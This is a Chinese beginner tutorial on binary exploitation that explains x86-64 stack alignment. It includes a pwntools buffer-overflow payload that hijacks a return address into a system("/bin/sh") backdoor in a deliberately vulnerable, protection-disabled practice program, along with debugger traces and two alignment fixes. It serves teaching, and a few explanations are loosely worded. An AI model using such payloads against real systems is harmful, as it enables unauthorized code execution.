从零开始的 Pwn 之旅 - 栈对齐

前言

在上一节中为了成功执行 payload,我们在 exp.py 中加入了 ret 指令,今天我们将继续深入了解栈对齐的问题。

栈对齐

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *

p = process("./main")  # 启动程序

backdoor = 0x401170  # backdoor 函数的地址
# 0x000000000040101a : ret
ret = 0x40101a
payload = b"a" * (0x10 + 0x8) + p64(backdoor)  # 填充到 0x10 字节 + 8 字节的返回地址

p.sendline(payload)  # 发送 payload

p.interactive()  # 进入交互模式

开始调试后一直跟踪到发现卡住无法调试了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
─────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────
 ► 0x7f740018ffb5    movaps xmmword ptr [rsp], xmm1                   <[0x7fffa6e14238] not aligned to 16 bytes>
   0x7f740018ffb9    lock cmpxchg dword ptr [rip + 0x1955bf], edx
   0x7f740018ffc1    jne    0x7f74001902c0              <0x7f74001902c0>

   0x7f740018ffc7    mov    eax, dword ptr [rip + 0x1955b7]           EAX, [0x7f7400325584] => 0
   0x7f740018ffcd    lea    edx, [rax + 1]                            EDX => 1
   0x7f740018ffd0    mov    dword ptr [rip + 0x1955ae], edx           [0x7f7400325584] <= 1
   0x7f740018ffd6    test   eax, eax                                  0 & 0     EFLAGS => 0x10246 [ cf PF af ZF sf IF df of ]
   0x7f740018ffd8  ✔ je     0x7f7400190190              <0x7f7400190190>
   0x7f7400190190    lea    rsi, [rsp + 0x190]                  RSI => 0x7fffa6e143c8 ◂— 1
   0x7f7400190198    lea    rdx, [rip + 0x1954a1]               RDX => 0x7f7400325640 ◂— 0
   0x7f740019019f    mov    edi, 2                              EDI => 2

当前 PC 指针指向的指令 movaps xmmword ptr [rsp], xmm1

  • movaps 指令要求操作数必须是 16 字节对齐的。
  • xmmword ptr [rsp], xmm1 表示将 xmm1 寄存器的内容存储到栈顶(rsp)指向的地址。

这里 gdb 给出的提示是 not aligned to 16 bytes,这意味着 rsp 的值没有对齐到 16 字节。

1
2
pwndbg> p $rsp
$1 = (void *) 0x7fffa6e14238

rsp 的值是 0x7fffa6e14238,这个地址不是 16 字节对齐的(16 字节对齐的地址应该是 0x0、0x10、0x20 等等)。

那么为什么会出现这种情况呢?让我们写一个简单的程序来观察以下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>

int main() {
    char name[0x8];
    gets(name);
    backdoor();
    return 0;
}

void backdoor() {
  system("/bin/sh");
}

使用以下命令来进行编译:

1
gcc main.c -o main -fno-stack-protector -no-pie -std=c89

反编译 main 函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
~/C/cpp ❯❯❯ objdump -d -M intel --disassemble=main main

main:     文件格式 elf64-x86-64


Disassembly of section .init:

Disassembly of section .plt:

Disassembly of section .text:

0000000000401136 <main>:
  401136: 55                    push   rbp
  401137: 48 89 e5              mov    rbp,rsp
  40113a: 48 83 ec 10           sub    rsp,0x10
  40113e: 48 8d 45 f8           lea    rax,[rbp-0x8]
  401142: 48 89 c7              mov    rdi,rax
  401145: e8 f6 fe ff ff        call   401040 <gets@plt>
  40114a: b8 00 00 00 00        mov    eax,0x0
  40114f: e8 07 00 00 00        call   40115b <backdoor>
  401154: b8 00 00 00 00        mov    eax,0x0
  401159: c9                    leave
  40115a: c3                    ret

Disassembly of section .fini:

让我们把目光放在这两行汇编代码身上

1
2
  40113a: 48 83 ec 10           sub    rsp,0x10
  40113e: 48 8d 45 f8           lea    rax,[rbp-0x8]

在程序中我们使用 char name[0x8] 声明了一个字符数组 name,它的大小是 8 字节。但是在我们反汇编出来的程序中 sub rsp, 0x10 却开辟了 0x10 字节的栈空间。

x86-64 ABI 文档

The end of the input argument area shall be aligned on a 16 (32, if __m256 is passed on stack) byte boundary. In other words, the value (%rsp + 8) is always a multiple of 16 (32) when control is transferred to the function entry point. The stack pointer, %rsp, always points to the end of the latest allocated stack frame.

ABI 文档中明确中指出,在函数调用 call 前,rsp 的边界必须是 16 字节对齐的

call 指令可以被拆解为:

1
2
push eip
jmp function

所以当执行到被调用函数内部时,函数内部的 rsp 应该指向 call 之前 rsp - 8 的位置

当调用 backdoor 函数时:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
─────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────
b+ 0x40113a <main+4>        sub    rsp, 0x10          RSP => 0x7fffffffdfc0 (0x7fffffffdfd0 - 0x10)
   0x40113e <main+8>        lea    rax, [rbp - 8]     RAX => 0x7fffffffdfc8 —▸ 0x7ffff7fe49a0 ◂— endbr64
   0x401142 <main+12>       mov    rdi, rax           RDI => 0x7fffffffdfc8 —▸ 0x7ffff7fe49a0 ◂— endbr64
   0x401145 <main+15>       call   gets@plt                    <gets@plt>

   0x40114a <main+20>       mov    eax, 0             EAX => 0
 ► 0x40114f <main+25>       call   backdoor                    <backdoor>
        rdi: 0x7fffffffdfc9 ◂— 0x7000007f00646362 /* 'bcd' */
        rsi: 0x6463
        rdx: 0x7ffff7f687c0 ◂— 0
        rcx: 0x7ffff7f687c0 ◂— 0

   0x401154 <main+30>       mov    eax, 0             EAX => 0
   0x401159 <main+35>       leave
   0x40115a <main+36>       ret

   0x40115b <backdoor>      push   rbp
   0x40115c <backdoor+1>    mov    rbp, rsp
───────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ rsp   0x7fffffffdfc0 ◂— 0
01:0008│ rdi-1 0x7fffffffdfc8 ◂— 0x7f0064636261 /* 'abcd' */
02:0010│ rbp   0x7fffffffdfd0 —▸ 0x7fffffffe070 —▸ 0x7fffffffe0d0 ◂— 0
03:0018│+008   0x7fffffffdfd8 —▸ 0x7ffff7da76b5 ◂— mov edi, eax
04:0020│+010   0x7fffffffdfe0 —▸ 0x7ffff7fc6000 ◂— 0x3010102464c457f
05:0028│+018   0x7fffffffdfe8 —▸ 0x7fffffffe0f8 —▸ 0x7fffffffe525 ◂— '/home/lhon901/Code/cpp/main'
06:0030│+020   0x7fffffffdff0 ◂— 0x1ffffe030
07:0038│+028   0x7fffffffdff8 —▸ 0x401136 (main) ◂— push rbp

此时的 rsp 值为 0x7fffffffdfc0,rsp - 8 的值为 0x7fffffffdfc8,这时的 rsp 是 16 字节对齐的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
─────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────
   0x40114a <main+20>        mov    eax, 0             EAX => 0
   0x40114f <main+25>        call   backdoor                    <backdoor>

   0x401154 <main+30>        mov    eax, 0                 EAX => 0
   0x401159 <main+35>        leave
   0x40115a <main+36>        ret

 ► 0x40115b <backdoor>       push   rbp
   0x40115c <backdoor+1>     mov    rbp, rsp               RBP => 0x7fffffffdfb0 —▸ 0x7fffffffdfd0 —▸ 0x7fffffffe070 —▸ 0x7fffffffe0d0 ◂— ...
   0x40115f <backdoor+4>     lea    rax, [rip + 0xe9e]     RAX => 0x402004 ◂— 0x68732f6e69622f /* '/bin/sh' */
   0x401166 <backdoor+11>    mov    rdi, rax               RDI => 0x402004 ◂— 0x68732f6e69622f /* '/bin/sh' */
   0x401169 <backdoor+14>    call   system@plt                  <system@plt>

   0x40116e <backdoor+19>    nop
───────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ rsp   0x7fffffffdfb8 —▸ 0x401154 (main+30) ◂— mov eax, 0
01:0008│-010   0x7fffffffdfc0 ◂— 0
02:0010│ rdi-1 0x7fffffffdfc8 ◂— 0x7f0064636261 /* 'abcd' */
03:0018│ rbp   0x7fffffffdfd0 —▸ 0x7fffffffe070 —▸ 0x7fffffffe0d0 ◂— 0
04:0020│+008   0x7fffffffdfd8 —▸ 0x7ffff7da76b5 ◂— mov edi, eax
05:0028│+010   0x7fffffffdfe0 —▸ 0x7ffff7fc6000 ◂— 0x3010102464c457f
06:0030│+018   0x7fffffffdfe8 —▸ 0x7fffffffe0f8 —▸ 0x7fffffffe525 ◂— '/home/lhon901/Code/cpp/main'
07:0038│+020   0x7fffffffdff0 ◂— 0x1ffffe030

此时 rsp 的值为 0x7fffffffdfb8rsp 此时不是 16 字节对齐的。

解决方案

为了避免栈对齐引起的问题,这里给出两种方式

  • backdoor 函数调用时地址 + 1

    1
    
    payload = b"a" * (0x10 + 0x8) + p64(backdoor + 1)

    backdoor 反编译代码:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    
    $ objdump -d -M intel --disassemble=backdoor main
    
    main:     文件格式 elf64-x86-64
    
    
    Disassembly of section .init:
    
    Disassembly of section .plt:
    
    Disassembly of section .text:
    
    000000000040115b <backdoor>:
      40115b: 55                    push   rbp
      40115c: 48 89 e5              mov    rbp,rsp
      40115f: 48 8d 05 9e 0e 00 00  lea    rax,[rip+0xe9e]        # 402004 <_IO_stdin_used+0x4>
      401166: 48 89 c7              mov    rdi,rax
      401169: e8 c2 fe ff ff        call   401030 <system@plt>
      40116e: 90                    nop
      40116f: 5d                    pop    rbp
      401170: c3                    ret
    
    Disassembly of section .fini:

    因为我们是通过直接覆盖返回地址的操作来劫持到 backdoor 函数的,没有通过 call 指令,自然 push rip 这一步操作就不会发生,所以我们需要跳过 backdoor + 1 这条指令 (push rbp) 来阻止栈的增长,这样一来栈的结构还是 16 字节对齐的。

  • 在劫持到 backdoor 函数之前加入 ret 指令

    1
    
    payload = b"a" * (0x10 + 0x8) + p64(ret) + p64(backdoor)

    ret 指令会将栈顶 rsp 的值弹出到 rip 中,然后继续执行 backdoor 函数。因为 ret 指令会将栈顶的值弹出到 rip 中,rsp 会减少 (rsp + 8) 所以在执行 backdoor 函数之前,栈的结构仍然是 16 字节对齐的。